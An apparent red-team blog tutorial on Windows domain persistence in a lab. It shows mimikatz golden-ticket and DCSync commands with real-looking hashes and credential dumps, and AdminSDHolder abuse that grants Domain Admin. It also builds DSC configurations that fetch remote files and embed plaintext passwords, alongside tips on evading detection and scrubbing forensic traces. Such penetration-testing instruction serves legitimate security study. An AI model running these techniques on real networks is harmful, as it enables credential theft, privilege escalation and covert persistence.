Preamble

The Penetration Testing with Kali Linux course offered by Offensive Security (PWK) covers a lot of ground important to every penetration tester, but it can't cover everything. Some topics are only touched upon briefly in the textbook and your knowledge of them isn't thoroughly tested in the lab. The intent of this series is to expand upon and fill in some gaps left by the PWK course, so that you're confident in your ability to handle Windows networks. This series covers techniques that I've learned from the best researchers in the field, done in a step-by-step fashion.

All of the topics in this series will have some things in common.

Shields Up - Wherever possible, the payloads, post-exploitation steps, techniques and procedures demonstrated will happen on Windows machines with some level of defenses active. Normal endpoint defenses like AV and AMSI will be present. UAC will be active and set to default. PowerShell logging will be active. PowerShell execution policy will be default for the OS. The idea is to replicate a reasonable default defensive posture.

Low privileges by default - Where applicable, I'm not going to begin conveniently as local Administrator. Too many Active Directory post exploitation tutorials begin with "Once on the machine, just magically privesc to local admin, and then...". This is unhelpful. We're going to explore what to do when high privileges don't just fall into your lap.

Narrow tool focus - These articles will focus on using a small set of tools. Finding good projects that are maintained and responsive to bug reports and pull requests is difficult in this space. The gems that get continued support are worth investing time into.

Overview

This article shows you a narrow selection of ways you can leverage your pwned domain to stick around. It is not and isn't meant to be exhaustive. I chose three techniques to focus on, mostly for their ease of demonstration, personal interest factor, and commonality.

I will cover Golden Tickets and related Silver Tickets. This is a well-trodden technique, but I still want to show it working in the PoshC2 Implant.

Next, I'll leverage the 'AdminSDholder' AD object for persistence.

Finally, I'll introduce Desired State Configuration as a subtle host persistence and configuration mechanism. This is my favorite topic in this series, and (ab)using native legitimate toolsets for malicious purposes is always fun. :)

For the purposes of the demonstrations here, I will assume all of the information I gained compromising the 0metalab domain in the previous article is available to me. I have the krbtgt domain account NTLM hash, the hash and plaintext password of the DA account, and arbitrary access to any other hash I want with DCSync and offline NTDS capture.

First are the Kerberos tickets.

Kerberos Abuse with Tickets

Kerberos Golden and Silver Tickets are well-known and well-understood. As always, some of the best writing and coverage on the topic is from Sean Metcalf (@Pyrotek3) at adsecurity.org, and I don't have anything to add to the description of how they work.

Want I do want to show is the production of a ticket, what it looks like to have one, and how to show it works. Short and sweet.

So we'll start off on our primary Implant on beta, as 'userguytwo.' 'userguytwo' has no particular privileges on beta, which is why I'm starting from that reference. This could also be done with 'userguyone' on alpha.

Let's begin.

Context: 'userguytwo'@'beta'

klist

Command returned against implant 13 on host 0METALAB\userguytwo @ BETA (02/15/2019 08:44:16)


Current LogonId is 0:0x96dee

Cached Tickets: (4)

#0>     Client: userguytwo @ 0METALAB.PRIVATE
        Server: krbtgt/0METALAB.PRIVATE @ 0METALAB.PRIVATE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        Start Time: 2/15/2019 0:42:48 (local)
        End Time:   2/15/2019 10:42:39 (local)
        Renew Time: 2/22/2019 0:42:39 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x2 -> DELEGATION
        Kdc Called: 0metaLabDC01.0metalab.private

#1>     Client: userguytwo @ 0METALAB.PRIVATE
        Server: krbtgt/0METALAB.PRIVATE @ 0METALAB.PRIVATE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 2/15/2019 0:42:39 (local)
        End Time:   2/15/2019 10:42:39 (local)
        Renew Time: 2/22/2019 0:42:39 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: 0metaLabDC01.0metalab.private

#2>     Client: userguytwo @ 0METALAB.PRIVATE
        Server: cifs/0metaLabDC01.0metalab.private/0metalab.private @ 0METALAB.PRIVATE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 2/15/2019 0:42:48 (local)
        End Time:   2/15/2019 10:42:39 (local)
        Renew Time: 2/22/2019 0:42:39 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: 0metaLabDC01.0metalab.private

#3>     Client: userguytwo @ 0METALAB.PRIVATE
        Server: LDAP/0metaLabDC01.0metalab.private/0metalab.private @ 0METALAB.PRIVATE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 2/15/2019 0:42:39 (local)
        End Time:   2/15/2019 10:42:39 (local)
        Renew Time: 2/22/2019 0:42:39 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: 0metaLabDC01.0metalab.private

Klist is Windows' native way of seeing what tickets are active in your session. I get 4 tickets in our results. Two are from the Kerberos service on the DC, which differ in their Flags and Cache Flags. The last two are for CIFS and LDAP endpoints on the DC. As you can see, SPNs underpin all of the resources the tickets grant authentication for. Recall that having a ticket doesn't mean that you have rights on that resource, only that you've had your identity proven on AD and can communicate with that resource. For example, 'userguytwo' has a CIFS TGS from 0metalabdc01, but he doesn't have any rights to access any shares on that host.

But if I browse 0metalabdc02, where an open 'users' share is, you can see the TGS auto-populated.

ls \\0metalabdc02\users

    Directory: \\0metalabdc02\users


Mode                LastWriteTime         Length Name
----                -------------         -----------
-a----        2/20/2019  11:13 PM             34 resource.txt

klist

#1>     Client: userguytwo @ 0METALAB.PRIVATE
        Server: cifs/0metalabdc02 @ 0METALAB.PRIVATE
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 2/15/2019 1:25:46 (local)
        End Time:   2/15/2019 11:24:51 (local)
        Renew Time: 2/22/2019 1:22:57 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: 0metaLabDC01.0metalab.private
[snip]

You can also dump your user's cached TGT with klist, if you're curious about it. Just issue klist tgt. This isn't the same as grabbing a full TGT for use with pass-the-ticket techniques though. It's missing a "Session Key," which is stripped from the ticket for security reasons. Rubeus implements a neat trick (originally from Kekeo) to grab a "full" TGT that includes the Session Key for the logon user without needing elevated privileges. For a full explaination, see haryj0y's blog post.

As you can see we have a "clean" system with no tickets in memory for anyone but 'userguytwo.' Let's print ourselves a golden ticket, and see what happens.

invoke-mimikatz -command '"kerberos::golden /user:userguythree /domain:0metalab.private /sid:S-1-5-21-1859574994-4172712319-709742153 /krbtgt:203a9a20e42cdba7ec208b2b1f782541 /ptt"'

Command returned against implant 13 on host 0METALAB\userguytwo @ BETA (02/15/2019 08:45:46)

Hostname: beta.0metalab.private / S-1-5-21-1859574994-4172712319-709742153

  .#####.   mimikatz 2.1.1 (x64) built on Aug  3 2018 17:05:14 - lil!
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # kerberos::golden /user:userguythree /domain:0metalab.private /sid:S-1-5-21-1859574994-4172712319-709742153 /krbtgt:203a9a20e42cdba7ec208b2b1f782541 /ptt
User      : userguythree
Domain    : 0metalab.private (0METALAB)
SID       : S-1-5-21-1859574994-4172712319-709742153
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 203a9a20e42cdba7ec208b2b1f782541 - rc4_hmac_nt
Lifetime  : 2/15/2019 12:45:20 AM ; 2/12/2029 12:45:20 AM ; 2/12/2029 12:45:20 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'userguythree @ 0metalab.private' successfully submitted for current session

Now right off the bat, I've done something that (if you're trying to be sneaky) you shouldn't do. I didn't specify the /endin argument. There are multiple EDR and network monitoring solutions out there that, among other aspects of mimikatz use, look for these 10yr expiry tickets that it makes by default. You'll want to calculate a reasonable offset in minutes, and supply it to the command. If you're feeling especially industrious, change the default in mimikatz and recompile.

I'm in a lab though so this sort of thing is fine.

Anyhow, I now have a ticket cached for 'userguythree.' As you may recall, 'userguythree' had the DCSync msDS-Directory-Get-Changes/msDS-Directory-Get-Changes-All extended rights. So let's see if I can now utilize DCSync...

invoke-mimikatz -command '"lsadump::dcsync /user:adminguyone /domain:0metalab.private"'

Command returned against implant 13 on host 0METALAB\userguytwo @ BETA (02/15/2019 08:47:09)

Hostname: beta.0metalab.private / S-1-5-21-1859574994-4172712319-709742153

  .#####.   mimikatz 2.1.1 (x64) built on Aug  3 2018 17:05:14 - lil!
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # lsadump::dcsync /user:adminguyone /domain:0metalab.private
[DC] '0metalab.private' will be the domain
[DC] '0metaLabDC01.0metalab.private' will be the DC server
[DC] 'adminguyone' will be the user account

Object RDN           : Admin Guy One

** SAM ACCOUNT **

SAM Username         : adminguyone
User Principal Name  : adminguyone@0metalab.private
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 5/12/2018 4:16:19 AM
Object Security ID   : S-1-5-21-1859574994-4172712319-709742153-1108
Object Relative ID   : 1108

Credentials:
  Hash NTLM: 80ce42b57456063d2d91b381e3a17cfe
    ntlm- 0: 80ce42b57456063d2d91b381e3a17cfe
    lm  - 0: a09d4984541ef7b407dba2e09198f5b0

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : 0METALAB.PRIVATEadminguyone
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c3601f366ae498a90e86f29df3da1653bd6af85e2e4ab41b698bc7de06c97755
      aes128_hmac       (4096) : 269908f4e63072738ff3571431fb6483
      des_cbc_md5       (4096) : df2a0efd3e04bc1a

* Primary:Kerberos *
    Default Salt : 0METALAB.PRIVATEadminguyone
    Credentials
      des_cbc_md5       : df2a0efd3e04bc1a

* Packages *
    Kerberos-Newer-Keys

* Primary:WDigest *
    01  0b86eb39fbf4bc296819c1a01f57dde0
    02  4f93234fa519de130ff2752410d76abf
    03  f25c85de655a4d939040c4cd4109d518
    04  0b86eb39fbf4bc296819c1a01f57dde0
    05  4f93234fa519de130ff2752410d76abf
    06  80242301c2f47d06603c326cb73bef13
    07  0b86eb39fbf4bc296819c1a01f57dde0
    08  436d5f29ada63783e85fb5efa94ea0c6
    09  436d5f29ada63783e85fb5efa94ea0c6
    10  b42703585d14e8e4aa9e1c00e679285a
    11  161eb629f7feb5e154a467386210184b
    12  436d5f29ada63783e85fb5efa94ea0c6
    13  e48eb7525c9d1e6bb825adfca7bf925f
    14  161eb629f7feb5e154a467386210184b
    15  35a828ef0d641f81af1cc29327b2c8ce
    16  35a828ef0d641f81af1cc29327b2c8ce
    17  17ebd81bb7a1a76c2b4e08bb3a2de624
    18  7dbdb269e118aa941f3d65dd807534ac
    19  506cfc4597ea150a9271d610615e01a4
    20  4c598510b79fdb2d53b1c4f3d3ca9c2e
    21  796c4e5252374b53c4d8b470012755f9
    22  796c4e5252374b53c4d8b470012755f9
    23  87ba23b99d604fa1675e683316087680
    24  73b909af9114f9988e4b4ee8cb032100
    25  73b909af9114f9988e4b4ee8cb032100
    26  76bb9003bc07d07d3dfa98190ec28dbd
    27  a27abfbc9a347cd511f8a0bc0caf77ad
    28  26d4ba0cc4dfacb941a1946a4893b972
    29  84faac2b0fc7c8b96e58138eeccd1e90

Sure looks like it!

Ticket use in a real test is a nuanced thing, but for me, it's best used to do things that look totally boring. If it seems like it would be unusual for a given user to be accessing a resource or performing some action, grab the ticket of someone for whom it's a mundane, unremarkable action.

For example, if your target has a set of MSSQL administrators, and they have their own business unit, it's natural to assume that they would be the ones performing the majority of tasks against that group of servers. A Domain Admin fussing around on their servers might raise suspicions. SQLadminguy doing them, not so much. (Don't do your things in the middle of the night though, that's weird no matter what...) So print yourself a ticket for SQLadminguy and do what you need to do.

Silver tickets are sort of the flip side of this. Rather than letting an arbitrary user to whatever they have rights to on the AD, a Silver ticket is about doing whatever a given service allows you to do on a particular host. This narrowed scope can be an advantage when trying to remain undetected in the noise of utterly normal TGS activity on a given SPN.

As I alluded earlier, there are various correlation detections you can run into as an attacker when trying to leverage Kerberos tickets to do your bidding.

  • Artifacts: tools like Rubeus and mimikatz can leave markers in the host Event Logs, and the Domain log, when they do their thing. For example, up until 2016, mimikatz left characteristic strings in the 'DOMAIN' fields of the logon events that it generated in the course of creating a ticket. Investigate the potential artifacts your tools leave in a log by using them, and then looking for the corresponding events.
  • Event order/missing events: If you request a TGS for an SPN as a given user, but there's no corresponding user's TGT request first, that looks very strange. A TGT being presented to the Kerberos service on the DC is part and parcel of a normal TGS event flow. It's easy to create a TGS "out-of-order" with these tools, and clever blue teamers can see it.
  • Ticket expiry: Just to reiterate, 10 years is not normal!
  • User logon analysis: This is harder to work around. If you generate a TGS for a user who never logged onto a workstation, that's definitely peculiar. In related fashion, TGTs in memory for a user that isn't the actual logged-on user is suspicious. This isn't 100% though; certain users can and will impersonate certain other users. But a domain user impersonating a domain admin, that's far more likely to indicate a compromise.

You can work around these, if you're careful. Generating TGTs on a server with lots of logon traffic is a good cover; you're likely to get lost in the noise. A server with some level of delegation is prime cover. Requesting a TGT for a user before forging a TGS for them helps couple the events together in a more believable way. Modifying source code as required to change indicators that end up in Yara rules is a great precaution. And finally, you should be acquainted with the defaults of various ticket attributes so you don't generate obviously strange objects.

Let AD persist access for you: AdminSDholder object abuse

For my next trick, let's look at one of the odd aspects of AD permissions, the 'AdminSDholder' object.

As usual for Active Directory material, I read about this first on adsecurity.org. Sean Metcalf covers it here and the description of what it does and why kinda blew my mind.

Obviously Microsoft seems to care a whole lot about making sure that these Protected AD principal groups maintain a distinct, known-good configuration. I don't know for certain of course, but my guess is that this thing was designed to keep DAs from breaking their AD setups by toying around with ACEs they didn't fully understand.

Whatever the reason is, the implementation is such that it provides a persistence opportunity that is actually fairly subtle, though perhaps less so in these days of pervasive logging and SIEMs.

In case the article was TL;DR, the summary is as follows:

  1. Add a principal (a user usually, but you could also do a group) to the DACL for the 'AdminSDHolder' object with sufficient rights.
  2. When the 'AdminSDHolder' object defaults are next applied to the domain, that principal will have an ACE giving full rights on the DACLs of all of the protect principal groups.
  3. With your GenericWrite rights, add an account of your choice to the Members attribute of any privileged principal group.
  4. ???
  5. Profit

So one of the upshots is that an examination of the DACL user you added to 'AdminSDholder' doesn't show anything of particular interest. He's not in a privileged group or anything out of the ordinary. Only an examination of domain ACLs will reveal something is up.

find-interestingdomainacl -resolveguids | Where-object {$_.objectdn -like "*adminsdholder*"}

Command returned against implant 25 on host 0METALAB\userguyone @ ALPHA (03/16/2019 06:44:16)



ObjectDN                : CN=AdminSDHolder,CN=System,DC=0metalab,DC=private
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : GenericAll
ObjectAceType           : None
AceFlags                : None
AceType                 : AccessAllowed
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-1859574994-4172712319-709742153-1104
IdentityReferenceName   : userguyone
IdentityReferenceDomain : 0metalab.private
IdentityReferenceDN     : CN=User Guy One,OU=Users,OU=Lab,DC=0metalab,DC=private
IdentityReferenceClass  : user

Thanks to the great logic in PowerView, this stands out a lot. But you have to know about the attack to look for it, or be auditing the ACLs on the domain and understand what their implications are.

So let's go about abusing 'AdminSDholder' for profit.

Context: 'userguyone'@'alpha'

First, you'll need DA or equivalent creds. I just made a TGT for 'adminguyone' on my Implant on 'alpha,' however you could also create a valid PSCredential object in this case as we were able to dump the plaintext version of adminguyone's password.

Next, we need to know the GUID of the 'AdminSDHolder' object. PowerView has us covered.

Get-DomainObject adminsdholder -Properties objectguid

objectguid
----------
c629b84d-0148-4db3-a46e-6f9ab90bfb5b

Note that the GUID of AdminSDHolder is per-domain. It's not a well-known value.

Next, we need to modify the DACL on 'AdminSDHolder' to add an ACE with our principal. That user will also need sufficient rights to exercise the attack.

add-domainobjectacl -targetidentity c629b84d-0148-4db3-a46e-6f9ab90bfb5b -principalidentity userguyone -rights all

If I could specify a more narrow set of rights to accomplish this task, I would. However, I couldn't find a method through Google to compute the GUID for me necessary to pass to the -RightsGUID argument. If you know of one, please let me know!

At this point, we have to wait for 'userguyone' to get pushed to the various Protected Groups' DACLs. Once that has occurred (you can check using Get-DomainObjectACL on Domain Admins, for example) you have only to do the following.

Add-DomainGroupMember -Identity 'Domain Admins' -Member userguyone

Remember, this part doesn't require the elevated session with the TGT of a DA. You can flush that ticket immediately after confirming you've added your user to the DACL of 'AdminSDHolder.' 'userguyone' has proper privileges to take this action, so it's no problem!

successful_da_add_from_adminsdholder

Then you can just do something relatively quick to test your new powers.

ls \\0metalabdc01\c$

Command returned against implant 25 on host 0METALAB\userguyone @ ALPHA (03/16/2019 06:57:22)



    Directory: \\0metalabdc01\c$


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/26/2012  12:44 AM                PerfLogs
d-r---         5/9/2018   6:53 AM                Program Files
d-----        7/26/2012   1:04 AM                Program Files (x86)
d-r---        5/23/2018  11:07 AM                Users
d-----        1/25/2019   8:06 AM                Windows

Awesome!

DSC Abuse for Resource Control and Persistence

DSC as a resource for red teams was first covered, as far as I can tell, by Matt Hastings and Ryan Kazanciyan back in 2016. They released a small PowerShell PoC to help set up a DSC configuration for offensive purposes.

The topic hasn't gained much traction in the years since though. Microsoft's DSC doesn't seem to appear in MITRE ATT&CK by name, and configuration management solutions in general are only briefly touched upon. When I found out about DSC independently in 2018, it was very interesting to me. I've long been considering making a "C2" framework out of a legitimate configuration management software, so to find that Microsoft built one into Windows immediately piqued my interest.

I want to help fill in some of the gap in knowledge about the subsystem and how it works, and how you might leverage it for persistence and general shinanigans.

Origin

If you came from a developer or operations background on your path to an infosec career, you're probably very familiar with configuration management platforms like Salt, Ansible, Puppet, Chef, and others. All of these take a more-or-less similar approach, where they allow operators to describe the end state of a new or existing host and the software figures out how to achieve this state.

Microsoft's entry into this space came in the form of Desired State Configuration. Introduced in PowerShell 4, it offers a full suite of Resources that you compose into a script that describes the desired end state. Each Resource covers a specific column of responsibility, such as groups, processes, files, PowerShell scripts, installed roles and software, etc. Nearly anything you can think of is covered by a 1st or 3rd party Resource.

There are quite a few Resource files hosted at the PowerShell gallery.

Brief Overview

Working with DSC is mostly about writing a configuration file, manipulating it with a few commands, and then passing it along to the host(s) where you want it to take effect. DSC is not an AD component. In fact, there are many guides online showing how to use it to deploy Active Directory.

When you compose a Configuration, you can pass it to the host in a couple of different ways. There's a 'pull' mode, where you tell the host to poll a remote server for the Configuration, and a 'push' mode where you install the Configuration locally. The Local Configuration Manager (LCM) handles ensuring that the local host is in the defined state mandated by your configuration. This continues until the configuration is deactivated. For the purposes of this article, I'll be using the 'push' mode of operation because of its simplicity.

An important note is that there is only one Configuration active at once. If you find an existing DSC LCM config, you'll either have to overwrite that config (probably not a good idea) or find the source Configuration script and integrate your malicious use in with it. Such script compositing can be fairly complex. This is because there can only be one 'top-level' Configuration acknowledged by the LCM; you can't just add more Configuration blocks and have them all run. You have to create a new Configuration block that refers to the others in turn. I might come back around to this at some point, but for now such configurations are beyond our current scope.

Something else of interest is that once your script (in the form of a MOF file, which we'll discuss in a moment) is imported by the host, it is encrypted by the system and stored. And since your Configuration is, ultimately, just a PowerShell script, there's probably some fun to be had in embedding PE images or payloads directly in the file.

I've definitely left a lot of meat on the bone in the examples that I'll give, which are non-weaponized. They are meant to demonstrate the power available to you.

Example Scripts

So I'll show a couple of different scripts below. The first pulls a file from a remote host and puts it on the local filesystem. The second is a bit more complex in that one part of the configuration has a dependency on another portion.

# the local service manager doesn't have domain privileges, so we need to supply them with an account that does
$creds = (New-Object System.Management.Automation.PSCredential('0metalab.private\userguyone', (ConvertTo-SecureString 'cede-9Uuu-pique6' -AsPlainText -Force)))

configuration FetchRemoteFile{
Import-DSCResource -Module PsDesiredStateConfiguration
    node localhost {
        File UNCRes {
            SourcePath = '\\0metalabdc02\users\resource.txt'
            DestinationPath = 'C:\resource.flag'
            Type = 'File'
            Ensure = 'Present'
            Credential = $creds
        }
        
    }
}
$config = @{
    allnodes = @(
        @{
            nodename = 'localhost'
            PsDscAllowDomainUser = $true
            PsDscAllowPlaintextPassword = $true
        }
    )
}

Firstly, as noted already, the LCM is the service doing the configuring of the host. As a local 'SYSTEM' service, it doesn't have domain privileges at all. (If it does somehow, that's very scary!) In order to do anything in a script that requires AD privileges, you need to embed some valid credentials with the relevant rights. Here, our example is pretty benign (grabbing a file from a share) so domain user credentials are sufficient.

Storing credentials this way is Not Secure though, so Microsoft makes you jump through a couple of hoops in order to do this. In the 'config' hash table object below all the config stuff, you see a couple of overrides that are applied. We will apply this config in a moment when we construct the MOF file.

Secondly, the primary configuration block has a few points we want to hit:

  1. I name the block with something reasonably descriptive. I will use this name to invoke the Configuration block later.
  2. The 'base' Resources that Microsoft ships with DSC are all contained in the PsDesiredStateConfiguration module. We have to import this, or nothing works!
  3. Next is the 'node' block, where we define the state we want the node to be in. You name the node, and inside the curly braces you list the Resource(s) you're invoking, and insert all necessary config details. Repeat for every Resource you're including.
  4. The Credential, as you can see, is injected there in the File block, since that's where the privilege is required.

If you look up some DSC config files online, you'll likely see some more stuff at the bottom. The script will call itself, sometimes with options. This is done as a convenience in order to reduce the number of steps required to get going with a config, but I omit them because it makes it harder to understand why you're doing various things. Once you get what's going on, you can add these sections to your Configurations as well.

Let's have a look at a more complex Configuration.

Configuration FileWithScriptDep {

    Import-DSCResource -module PsDesiredStateConfiguration
    Node localhost {

    #Resource Specific Blocks
        Script Fetch {
            GetScript = {
                Return @{ Result = [String](Test-path -Path c:\users\public\resource.txt)}
            }
            SetScript = {
                Invoke-WebRequest -usebasicparsing http://192.168.10.3:10000/resource.txt -Outfile c:\users\public\resource.txt
            }
            TestScript = {
                If (Test-path -Path c:\users\public\resource.txt){Return $true}
                Else {Return $false}
            }
        }

        File PlaceLocalFile {
            SourcePath = "c:\users\public\resource.txt"
            DestinationPath = "c:\Windows\system32\resource.flag"
            Attributes = 'System'
            Type = "File"
            Ensure = "Present"
            DependsOn = "[Script]Fetch"
            }
        }
}

This file is very similar to the first, but now there is an internal dependency that must be resolved before the state can finalize. The File state won't try to copy the text file from the SourcePath to the DestinationPath until the Script Resource above it completes successfully.

Script Resources are more complex in that they must expose three functions in order to be valid. They must have Get, Set, and Test functions. The Test function must return a boolean, the Get function must return a hash array, while the Set function has no particular requirement other than to be present.

The purpose for this is to allow the LCM to query the state of the Resource and match it against the configuration file. While the 'state' of a File Resource gets handled automatically behind the scenes, something arbitrary and complex like a PowerShell scriptblock is impossible to handle automatically. The author must tell the system how to test to see if the condition for running the scriptblock has been met or not.

Since my script is so simple, I've "short-circuited" the Get function somewhat. The Return value is meant to display something meaningful about the current state of the Configuration. Since I don't need anything fancy, I've set the Result to be a boolean value.

The important function is really Test, whereby the LCM determines if the script Set function needs to be executed. In my case, if the file to be fetched is present, it returns true. A false return will prompt the LCM to execute the scriptblock inside the Set function.

Setup and Execution

This is kind of confusing to understand until you see it working. So I'll get this Configuration set up, and then play with it a bit to see how it acts.

In order for any of this stuff to work at all on a given host, the WinRM service must be running, and the WSMan firewall ports must be open. With your DA privileges, this is as simple as running Set-WSManQuickConfig -force on the target host. If you have an interactive session, like with RDP, you may drop the -force argument. If the service is already running and the ports are open, no further action is required.

You don't actually need to transfer your Configuration script to the host. You can write the script and build the MOF file locally on a Windows box, and then push the MOF itself over. You may also do it all remotely if you like.

I wrote and compiled the script on my local workstation as follows.

First, just source the script.

. .\script1.ps1

Then, I execute the named Configuration block as though it were a function. In the case of the first script, I also need to pass in those config directive overrides for the password, so I append that to the end like so.

FetchRemoteFile -ConfigurationData $config

The system will churn for a moment, and then emit something like the following:

    Directory: C:\Users\jhick\FetchRemoteFile


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/02/2019   1:31 AM           2554 localhost.mof


So this is the MOF I kept talking about above. MOF files have been around a long time and are a part of WMI. As you may have guessed from the WinRM requirement, the backend subsystem performing these actions is WMI itself.

View the file and you'll see something like the following:

/*
@TargetNode='localhost'
@GeneratedBy=jhick
@GenerationDate=03/02/2019 01:31:03
@GenerationHost=HINATA
*/

instance of MSFT_Credential as $MSFT_Credential1ref
{
Password = "cede-9Uuu-pique6";
 UserName = "0metalab.private\\userguyone";

};

instance of MSFT_FileDirectoryConfiguration as $MSFT_FileDirectoryConfiguration1ref
{
ResourceID = "[File]UNCRes";
 Type = "File";
 Credential = $MSFT_Credential1ref;
 Ensure = "Present";
 DestinationPath = "C:\\resource.flag";
 ModuleName = "PSDesiredStateConfiguration";
 SourceInfo = "C:\\Users\\jhick\\FetchRemoteFile.ps1::7::9::File";
 SourcePath = "\\\\0metalabdc02\\users\\resource.txt";

ModuleVersion = "1.0";

 ConfigurationName = "FetchRemoteFile";

};
instance of OMI_ConfigurationDocument


                    {
 Version="2.0.0";


                        MinimumCompatibleVersion = "1.0.0";


                        CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};


                        Author="jhick";


                        GenerationDate="03/02/2019 01:31:03";


                        GenerationHost="HINATA";


                        Name="FetchRemoteFile";

As you can see, this actually leaks a fair bit of data about your workstation! It's a good idea to clean this up a bit.

You may open the file in the editor of your choice, and remove any of the authoring, datestamp, host lines and the like. I leave the @TargetNode = 'localhost' alone though.

Afterwards:

/*
@TargetNode='localhost'
*/

instance of MSFT_Credential as $MSFT_Credential1ref
{
Password = "cede-9Uuu-pique6";
 UserName = "0metalab.private\\userguyone";

};

instance of MSFT_FileDirectoryConfiguration as $MSFT_FileDirectoryConfiguration1ref
{
ResourceID = "[File]UNCRes";
 Type = "File";
 Credential = $MSFT_Credential1ref;
 Ensure = "Present";
 DestinationPath = "C:\\resource.flag";
 ModuleName = "PSDesiredStateConfiguration";
 SourcePath = "\\\\0metalabdc02\\users\\resource.txt";

ModuleVersion = "1.0";

 ConfigurationName = "FetchRemoteFile";

};
instance of OMI_ConfigurationDocument


                    {
 Version="2.0.0";
 

                        MinimumCompatibleVersion = "1.0.0";
 

                        CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
 

                        Name="FetchRemoteFile";


                    };

Of course, you may also substitute fake values for those things instead of deleting them. It just depends on how much operational cover you think you'll need, or how difficult you want it to be when the blue team guys start following your trail.

Now I need to transfer this MOF file to the remote host. It doesn't really matter where in the filesystem you put it, per se; once it gets added to the LCM's configuration, the MOF file becomes irrelevant. The encrypted version is placed in the DSC repository at 'C:\Windows\System32\Configuration'.

So once the file is on the host and WinRM is enabled, it's ready to go. You need to invoke Start-DscConfiguration and supply the path, not the filename, to your MOF.

Start-DscConfiguration C:\Users\Public\

It will automatically grab the .mof and emit something like the following:

PS C:\WINDOWS\system32> Start-DscConfiguration C:\Users\Public\

Id     Name            PSJobTypeName   State         HasMoreData     Location             Command
--     ----            -------------   -----         -----------     --------             -------
9      Job9            Configuratio... Running       True            localhost            Start-DscConfiguration...

If you see this, the Configuration was accepted.

I can now query the LCM with Get-DscConfiguration and Get-DscConfigurationStatus:

PS C:\WINDOWS\system32> Get-DscConfiguration


ConfigurationName    : FetchRemoteFile
DependsOn            :
ModuleName           : PSDesiredStateConfiguration
ModuleVersion        :
PsDscRunAsCredential :
ResourceId           : [File]UNCRes
SourceInfo           :
Attributes           : {archive}
Checksum             :
Contents             :
CreatedDate          : 2/22/2019 2:04:53 AM
Credential           :
DestinationPath      : C:\resource.flag
Ensure               : present
Force                :
MatchSource          :
ModifiedDate         : 2/20/2019 11:13:21 PM
Recurse              :
Size                 : 34
SourcePath           :
SubItems             :
Type                 : file
PSComputerName       :
CimClassName         : MSFT_FileDirectoryConfiguration
PS C:\WINDOWS\system32> Get-DscConfigurationStatus

Status     StartDate                 Type            Mode  RebootRequested      NumberOfResources
------     ---------                 ----            ----  ---------------      -----------------
Success    3/20/2019 12:23:36 AM     Consistency     PUSH  False                1

The 'Type' Property shows what state the configuration is in. "Inital" means that applying the Configuration has at least been attempted but hasn't been confirmed with a test pass. "Consistency" means that the LCM is maintaining the state and has tested it at least once. The consistency test happens on an interval. This isn't to be taken as meaning the state was successfully applied though. That's better shown with the first cmdlet above, where in our case the 'Ensure' attribute is 'present'.

To explicitly test the configuration's state, use Test-DscConfiguration. It will return a simple boolean. Sound familiar? This cmdlet is what calls the Test function in our Script Resource example.

Now, you might expect to test this script's effectiveness at actually maintaining the desired state by deleting the file it created, and waiting for it to push a new copy of the file when it doesn't find it. And you'll find that it won't replace the file. Which is pretty perplexing, right?

Well, since the LCM is doing the work, let's query it.

PS C:\WINDOWS\system32> Get-DscLocalConfigurationManager


ActionAfterReboot              : ContinueConfiguration
AgentId                        : 4AAD49FA-35AF-11E9-A6B7-0AE1455F860C
AllowModuleOverWrite           : False
CertificateID                  :
ConfigurationDownloadManagers  : {}
ConfigurationID                :
ConfigurationMode              : ApplyAndMonitor
ConfigurationModeFrequencyMins : 15
Credential                     :
DebugMode                      : {NONE}
DownloadManagerCustomData      :
DownloadManagerName            :
LCMCompatibleVersions          : {1.0, 2.0}
LCMState                       : Idle
LCMStateDetail                 :
LCMVersion                     : 2.0
